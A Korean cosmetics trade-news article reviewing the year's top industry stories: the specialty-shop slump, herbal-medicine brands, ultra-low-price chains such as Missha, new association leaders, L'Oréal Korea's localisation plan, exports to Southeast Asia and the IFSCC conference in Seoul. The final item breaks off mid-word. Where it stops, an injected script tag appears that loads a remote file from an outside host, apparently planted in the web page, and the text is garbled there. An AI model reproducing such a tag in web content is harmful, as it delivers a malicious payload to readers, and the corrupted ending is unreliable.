1 전문점 경기가 IMF시절 못지않게 심각한 불황의 늪에 빠져 있다. 일부에서는 화장품업계 IMF가 이제야 오는 것 같다고도 한다. 내수의 깊은 침체로 소비자는 지갑을 열지 않고 신용카드 사용이 크게 줄어들며 시판 유통가는 일년 내내 꽁꽁 얼어붙었다. 시장 전체에서 차지하는 시판 점유율이 점차 낮아지는 가운데 별다른 활성화 대책을 찾지 못하고 있다고 하는 점이 전문점의 고민을 더하고 있다. 일부 대형화와 전문화 매장이 한가닥 희망을 갖게 한다.
한방 브랜드 봇물
2 이제 한방 화장품은 단일 시장으로서 자리를 잡아가고 있는 것으로 보인다. 지난해부터 한방 브랜드에 대한 관심이 커지면서 올해는 LG생활건강의 ‘수려한’ 한불화장품의 ‘려홍’ 로제화장품의 ‘천심’등이 잇따라 나오며 새로운 트렌드로서 소비자들에게 호응을 받고 있다. 한방화장품은 침체 시장에 활력을 불어 넣으며 수입 브랜드에 맞설 수 있는 경쟁력으로 방판업체 등도 한방 출시에 나섰다. 다만 한방 화장품의 수요 확대를 위해서는 보다 안전한 원료 확보와 당국의 체계적인 연구와 지원이 절실하다.
미샤등 초저가 돌풍
3 불황을 틈탄 반짝 시장인가. 트렌드를 앞서가는 제3시장인가. 미샤를 앞세운 초저가 열풍이 쉽게 가라앉지 않고 있다. 10대 후반과 20대 초반 소비자를 겨냥한 이 매장은 놀라운 기세로 전국적으로 확산되며 초저가 시장을 키우고 있다. 이에 힘입어 더 페이스샵 1호점이 문을 열고 초저가 대열에 합류했으며 몇몇 업체도 매장 설립을 적극 검토하고 있어 당분간 바람은 계속될 것으로 보인다. 그러나 일부에서는 초저가 바람이 소비자에게 화장품가격에 대한 불신을 가져올 것을 우려하고 있다.
협회 조합 전화협 수장 교체
4 화장품 산업을 이끌어가는 주요 단체장들이 올 들어 일제히 바뀌었다. 특히 화장품협회장에는 서경배 태평양 사장이 취임, 화장품 산업의 발전을 위한 노력을 아끼지 않고 있다. 강현송 화장품협동조합 이사장도 조합 참여업체의 이익 향상을 꾀하고 있고, 송태기 전국화장품전문점협회장은 협회의 위상 강화를 위해 문호를 넓혀 회원 확보에 힘을 쏟고 있다. 이러한 수장들의 잇단 교체는 업계의 세대교체를 뜻하는 것으로서 화장품산업의 발전에 활력소가 되고 새로운 흐름을 보여 줄 것으로 기대하고 있다.
로레알등 수입사 현지화 공세
5 로레알코리아가 창립10주년을 맞아 대대적인 현지화 전략을 선언했다. 로레알코리아는 앞으로 5년간 7천억을 투입하고 한국직원을 경영진에 전격 발탁한다는 야심찬 현지화 계획을 발표해 업계의 이목을 끌었다. 이는 로레알그룹이 한국 시장을 중시하는 것으로 한국에 대한 집중적인 마케팅을 예고하고 있기도 해 국내사들을 긴장시키고 있다. 또한 다른 수입사들도 사회 공헌 활동을 통해 활기찬 현지 밀착 경영을 펼쳐 회사 이미지는 물론 브랜드 인지도를 높이고 있다.
떠오르는 동남아 시장
6 내수가 극도로 부진하자 일부 업체들이 발빠르게 동남아로 눈을 돌려 짭짤한 재미를 보고 있다. 이들은 한류 열풍을 타고 중국을 중심으로 몽골 베트남 말레이시아 등으로 수출해 내수 부진을 만회하고 있다. 또 한국의 우월한 이미지에 힘입어 동남아를 집중 공략해 한국 화장품의 이미지를 높이고 있다. 아직 만족할 만한 수출 실적은 아니라고 하지만 새로운 시장 개척이라는 의미에서 큰 평가를 받고 있다. 그러나 미국 유럽 등 화장품 본고장을 겨냥한 고품격의 마케팅이 필요하다는 지적도 있다.
IFSCC-서울박람회 성공
7 화장품 학술 올림픽이라 불리는 IFSCC 컨퍼런스가 서울에서 처음 열려 한국 화장품 연구개발 수준을 세계에 과시했다. 또 새 회장에 김창규 대한화장품학회장이 선임돼 한국의 국제 위상을 높일 수 있는 기틀을 마련했다. 한편 국제규모화장?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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